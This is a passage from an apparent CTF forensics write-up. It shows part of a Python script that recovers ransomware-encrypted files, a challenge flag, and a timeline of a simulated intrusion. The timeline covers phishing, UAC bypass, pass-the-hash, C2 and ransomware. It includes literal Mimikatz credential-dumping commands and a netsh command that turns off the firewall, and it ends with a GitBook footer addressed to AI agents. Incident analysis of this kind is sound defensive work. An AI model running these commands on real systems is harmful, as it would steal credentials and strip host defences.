            aes_key = rsa_cipher.decrypt(rsa_blob, None)
            if not aes_key or len(aes_key) != 32:
                raise ValueError(f"RSA decryption failed or invalid key length: {len(aes_key) if aes_key else 0} bytes")

            # AES decryption with zero IV and CBC mode
            iv = bytes(16)  # Zero IV (16 bytes for AES)
            cipher = AES.new(aes_key, AES.MODE_CBC, iv)
            plaintext = cipher.decrypt(aes_blob)

            # Remove PKCS7 padding
            padding_length = plaintext[-1]
            if padding_length > 16 or padding_length < 1:
                raise ValueError(f"Invalid padding length: {padding_length}")
            plaintext = plaintext[:-padding_length]

            # Calculate SHA256 hash of decrypted content
            sha256_hash = hashlib.sha256(plaintext).hexdigest()

            # Write decrypted file
            with open(out_path, "wb") as f:
                f.write(plaintext)

            print(f"[+] Decrypted: {os.path.basename(out_path)}")
            print(f"    SHA256: {sha256_hash}")
            print(f"    Path: {out_path}")
            print()
            recovered += 1

        except Exception as e:
            print(f"[!] Failed: {os.path.basename(anon_path)} ({e})")
            print(f"    Path: {anon_path}")
            print()
            failed += 1

# ============================================================
# SUMMARY
# ============================================================
print("\n=== SUMMARY ===")
print(f"Recovered : {recovered}")
print(f"Failed    : {failed}")

```

</details>

<figure><img src="/files/BdZSfEz7wW8riDdASP7G" alt=""><figcaption></figcaption></figure>

> nexsec25{b1134f54cff738629f94bc979b6c2ad6f15d8d191cad8fe1007508ce47086424}

### Reconstructed Timeline of Attack

```
18 Dec 2025
│
├─ 01:37:47  Initial Access
│   ├─ Host: WS-01-CORP.corp.local
│   ├─ User: CORP\fakhri.zambri
│   ├─ Phishing email opened:
│   │     YEAR-END-FINANCIAL-REPORT-2025.docx
│   └─ CVE-2017-0199 exploited
│         └─ External malicious template fetched (GitHub)
│
├─ 01:39:21  Payload Drop (Stage 1)
│   ├─ Host: WS-01-CORP.corp.local
│   ├─ WINWORD.EXE → powershell.exe
│   ├─ Base64 decoded from:
│   │     C:\Users\fakhri.zambri\AppData\Local\Temp\xvzpox75.txt
│   └─ Drops backdoor:
│         C:\Users\Public\explorer.exe
│
├─ 01:39:34  UAC Bypass & Execution
│   ├─ Host: WS-01-CORP.corp.local
│   ├─ PowerShell via TinyURL
│   ├─ Creates:
│   │     C:\Windows\Tasks\EventViewerRCE.ps1
│   ├─ Drops:
│   │     C:\Windows\Tasks\p4yl0ad
│   ├─ Abuses Event Viewer RecentViews
│   └─ Executes explorer.exe without UAC
│
├─ 01:39:40+  Backdoor Activation
│   ├─ Host: WS-01-CORP.corp.local
│   ├─ EventViewerRCE.ps1 kills mmc.exe
│   └─ Launches:
│         C:\Users\Public\explorer.exe (C2 backdoor)
│
├─ Discovery Phase
│   ├─ Host: WS-01-CORP.corp.local
│   ├─ System enumeration:
│   │     whoami, whoami /priv, quser
│   ├─ Network discovery:
│   │     netstat, net use, Get-SmbConnection
│   ├─ Domain user enumeration:
│   │     net user /domain, Get-DomainUser
│   └─ IP enumeration:
│         Get-NetIPAddress
│
├─ Defense Evasion
│   ├─ Host: WS-01-CORP.corp.local
│   └─ Firewall disabled:
│         netsh advfirewall set allprofiles state off
│
├─ Tool Ingress
│   ├─ Host: WS-01-CORP.corp.local
│   ├─ Dropped to C:\Windows\Temp\
│   │     ├─ BrocaArea.ps1
│   │     ├─ Neurotransmitter.exe (Mimikatz)
│   │     ├─ Brainstemo.exe
│   │     ├─ Cerebrum.ps1 (Invoke-The-Hash)
│   │     └─ Salad.zip (NetExec)
│
├─ 02:19–02:20  Credential Access
│   ├─ Host: WS-01-CORP.corp.local
│   ├─ Mimikatz execution:
│   │     lsadump::lsa /inject
│   │     sekurlsa::logonpasswords
│   └─ NTLM hashes obtained (incl. itdadmin)
│
├─ 02:55:33 Lateral Movement
│   ├─ Source Host: WS-01-CORP.corp.local
│   ├─ Target Host: FS-CORP.corp.local (10.10.111.176)
│   ├─ Technique: Pass-the-Hash
│   └─ Tooling:
│         Cerebrum.ps1 (Invoke-LargeBrain / WMIExec)
│
├─ Payload Reconstruction (Stage 2)
│   ├─ Host: FS-CORP.corp.local
│   ├─ XOR key: Qx9Zp2Lm
│   ├─ Downloads Base64 chunks:
│   │     rainingdroplets.txt
│   │     windyseasons.txt
│   ├─ Reassembles binary
│   └─ Drops & executes:
│         C:\Users\Public\explorer.exe
│
├─ Command & Control
│   ├─ Host: FS-CORP.corp.local
│   ├─ C2: 209.97.175.18:7219
│   ├─ AES-CBC encrypted traffic
│   └─ Endpoints:
│         /heart, /command, /result, /file
│
├─ Payload Delivery via C2
│   ├─ Host: FS-CORP.corp.local
│   ├─ Encrypted DLLs over TCP 7219
│   ├─ Extracted from PCAP:
│   │     ├─ Ertrag.dll  (Data exfiltration)
│   │     └─ Riegel.dll  (Ransomware)
│
└─ Impact (Ransomware)
    ├─ Host: FS-CORP.corp.local
    ├─ Riegel.dll encrypts file server data
    ├─ Ertrag.dll exfiltrates sensitive files
    └─ Ransomware incident confirmed

```

## Final Thoughts

Overall this was a very fun CTF. The challenges were really good, especially Reverse Engineering imo. It might feel guessy at first because we are used to the jeopardy format, however it was really fun finding a clue and working off that clue to find the next until you can eventually piece together the entire chain of events.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://fyr3p4w.gitbook.io/fyr3p4w-blog/ctfs/nexsec-2025-intervarsity-cyber-forensics-challenge.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
